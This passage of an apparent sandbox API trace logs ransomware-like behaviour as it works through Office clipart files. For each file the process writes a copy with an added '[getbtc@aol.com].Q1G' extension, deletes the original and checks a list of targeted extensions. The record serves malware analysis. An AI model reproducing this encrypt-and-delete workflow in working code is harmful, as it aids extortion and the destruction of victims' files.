Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.883] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.883] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.884] GetLastError () returned 0x0 [0261.884] ReadFile (in: hFile=0x1b8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x84a6, lpOverlapped=0x0) returned 1 [0261.922] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x84b0, lpOverlapped=0x0) returned 1 [0261.923] ReadFile (in: hFile=0x1b8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.923] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.924] SetEndOfFile (hFile=0x37c) returned 1 [0261.924] CloseHandle (hObject=0x37c) returned 1 [0261.924] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.924] SetEndOfFile (hFile=0x1b8) returned 1 [0261.926] CloseHandle (hObject=0x1b8) returned 1 [0261.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg")) returned 1 [0261.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0261.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0261.927] lstrlenW (lpString=".doc") returned 4 [0261.927] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.927] lstrlenW (lpString=".docx") returned 5 [0261.927] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0261.927] lstrlenW (lpString=".pdf") returned 4 [0261.927] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.927] lstrlenW (lpString=".xls") returned 4 [0261.927] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.927] lstrlenW (lpString=".xlsx") returned 5 [0261.927] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0261.927] lstrlenW (lpString=".ppt") returned 4 [0261.927] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0261.927] lstrlenW (lpString=".zip") returned 4 [0261.928] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.928] lstrlenW (lpString=".rar") returned 4 [0261.928] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.928] lstrlenW (lpString=".bz2") returned 4 [0261.928] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.928] lstrlenW (lpString=".7z") returned 3 [0261.928] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0261.928] lstrlenW (lpString=".dbf") returned 4 [0261.928] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0261.928] lstrlenW (lpString=".1cd") returned 4 [0261.928] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0261.928] lstrlenW (lpString=".jpg") returned 4 [0261.928] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0261.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0261.928] lstrlenW (lpString=".doc") returned 4 [0261.928] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.928] lstrlenW (lpString=".docx") returned 5 [0261.928] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0261.928] lstrlenW (lpString=".pdf") returned 4 [0261.928] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.928] lstrlenW (lpString=".xls") returned 4 [0261.928] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.928] lstrlenW (lpString=".xlsx") returned 5 [0261.928] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0261.928] lstrlenW (lpString=".ppt") returned 4 [0261.928] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0261.928] lstrlenW (lpString=".zip") returned 4 [0261.928] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.928] lstrlenW (lpString=".rar") returned 4 [0261.928] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.929] lstrlenW (lpString=".bz2") returned 4 [0261.929] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.929] lstrlenW (lpString=".7z") returned 3 [0261.929] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0261.929] lstrlenW (lpString=".dbf") returned 4 [0261.929] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0261.929] lstrlenW (lpString=".1cd") returned 4 [0261.929] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0261.929] lstrlenW (lpString=".jpg") returned 4 [0261.929] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.929] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.929] lstrlenW (lpString="J0148309.JPG") returned 12 [0261.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.930] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=43674) returned 1 [0261.930] CloseHandle (hObject=0x1b8) returned 1 [0261.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg")) returned 0x20 [0261.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.930] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.930] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.931] GetLastError () returned 0x0 [0261.931] ReadFile (in: hFile=0x1b8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xaa9a, lpOverlapped=0x0) returned 1 [0261.973] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xaaa0, lpOverlapped=0x0) returned 1 [0261.974] ReadFile (in: hFile=0x1b8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.974] WriteFile (in: hFile=0x37c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.975] SetEndOfFile (hFile=0x37c) returned 1 [0261.975] CloseHandle (hObject=0x37c) returned 1 [0261.975] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.975] SetEndOfFile (hFile=0x1b8) returned 1 [0261.977] CloseHandle (hObject=0x1b8) returned 1 [0261.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg")) returned 1 [0261.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0261.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0261.979] lstrlenW (lpString=".doc") returned 4 [0261.979] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.979] lstrlenW (lpString=".docx") returned 5 [0261.979] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0261.979] lstrlenW (lpString=".pdf") returned 4 [0261.979] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.979] lstrlenW (lpString=".xls") returned 4 [0261.979] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.979] lstrlenW (lpString=".xlsx") returned 5 [0261.979] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0261.979] lstrlenW (lpString=".ppt") returned 4 [0261.979] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0261.979] lstrlenW (lpString=".zip") returned 4 [0261.979] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.979] lstrlenW (lpString=".rar") returned 4 [0261.979] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.979] lstrlenW (lpString=".bz2") returned 4 [0261.979] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.979] lstrlenW (lpString=".7z") returned 3 [0261.980] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0261.980] lstrlenW (lpString=".dbf") returned 4 [0261.980] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0261.980] lstrlenW (lpString=".1cd") returned 4 [0261.980] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0261.980] lstrlenW (lpString=".jpg") returned 4 [0261.980] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0261.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0261.980] lstrlenW (lpString=".doc") returned 4 [0261.980] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.980] lstrlenW (lpString=".docx") returned 5 [0261.980] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0261.980] lstrlenW (lpString=".pdf") returned 4 [0261.980] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.980] lstrlenW (lpString=".xls") returned 4 [0261.980] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.980] lstrlenW (lpString=".xlsx") returned 5 [0261.980] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0261.980] lstrlenW (lpString=".ppt") returned 4 [0261.980] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0261.980] lstrlenW (lpString=".zip") returned 4 [0261.980] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.980] lstrlenW (lpString=".rar") returned 4 [0261.980] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.980] lstrlenW (lpString=".bz2") returned 4 [0261.980] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.980] lstrlenW (lpString=".7z") returned 3 [0261.980] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0261.980] lstrlenW (lpString=".dbf") returned 4 [0261.981] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0261.981] lstrlenW (lpString=".1cd") returned 4 [0261.981] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0261.981] lstrlenW (lpString=".jpg") returned 4 [0261.981] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.981] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.981] lstrlenW (lpString="J0149018.JPG") returned 12 [0261.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.039] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=27393) returned 1 [0262.039] CloseHandle (hObject=0x39c) returned 1 [0262.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg")) returned 0x20 [0262.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.041] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.041] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.041] GetLastError () returned 0x0 [0262.042] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x6b01, lpOverlapped=0x0) returned 1 [0262.043] WriteFile (in: hFile=0x1c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0262.044] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.045] WriteFile (in: hFile=0x1c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.045] SetEndOfFile (hFile=0x1c0) returned 1 [0262.045] CloseHandle (hObject=0x1c0) returned 1 [0262.045] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.045] SetEndOfFile (hFile=0x39c) returned 1 [0262.049] CloseHandle (hObject=0x39c) returned 1 [0262.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg")) returned 1 [0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0262.050] lstrlenW (lpString=".doc") returned 4 [0262.050] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0262.050] lstrlenW (lpString=".docx") returned 5 [0262.050] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0262.050] lstrlenW (lpString=".pdf") returned 4 [0262.050] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0262.050] lstrlenW (lpString=".xls") returned 4 [0262.050] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0262.050] lstrlenW (lpString=".xlsx") returned 5 [0262.050] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0262.050] lstrlenW (lpString=".ppt") returned 4 [0262.050] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0262.050] lstrlenW (lpString=".zip") returned 4 [0262.050] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0262.050] lstrlenW (lpString=".rar") returned 4 [0262.050] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0262.050] lstrlenW (lpString=".bz2") returned 4 [0262.050] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0262.050] lstrlenW (lpString=".7z") returned 3 [0262.050] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0262.050] lstrlenW (lpString=".dbf") returned 4 [0262.050] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0262.050] lstrlenW (lpString=".1cd") returned 4 [0262.050] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0262.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0262.050] lstrlenW (lpString=".jpg") returned 4 [0262.050] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0262.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0262.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0262.051] lstrlenW (lpString=".doc") returned 4 [0262.051] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0262.051] lstrlenW (lpString=".docx") returned 5 [0262.051] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0262.051] lstrlenW (lpString=".pdf") returned 4 [0262.051] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0262.051] lstrlenW (lpString=".xls") returned 4 [0262.051] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0262.051] lstrlenW (lpString=".xlsx") returned 5 [0262.051] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0262.051] lstrlenW (lpString=".ppt") returned 4 [0262.051] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0262.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0262.051] lstrlenW (lpString=".zip") returned 4 [0262.051] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0262.051] lstrlenW (lpString=".rar") returned 4 [0262.051] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0262.051] lstrlenW (lpString=".bz2") returned 4 [0262.051] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0262.051] lstrlenW (lpString=".7z") returned 3 [0262.051] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0262.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0262.051] lstrlenW (lpString=".dbf") returned 4 [0262.051] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0262.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0262.051] lstrlenW (lpString=".1cd") returned 4 [0262.051] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0262.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0262.051] lstrlenW (lpString=".jpg") returned 4 [0262.051] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0262.052] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.052] lstrlenW (lpString="J0150150.WMF") returned 12 [0262.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.052] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=46404) returned 1 [0262.052] CloseHandle (hObject=0x39c) returned 1 [0262.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf")) returned 0x20 [0262.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.053] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.053] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.id-9c354b42.[getbtc@aol.com].q1g"), 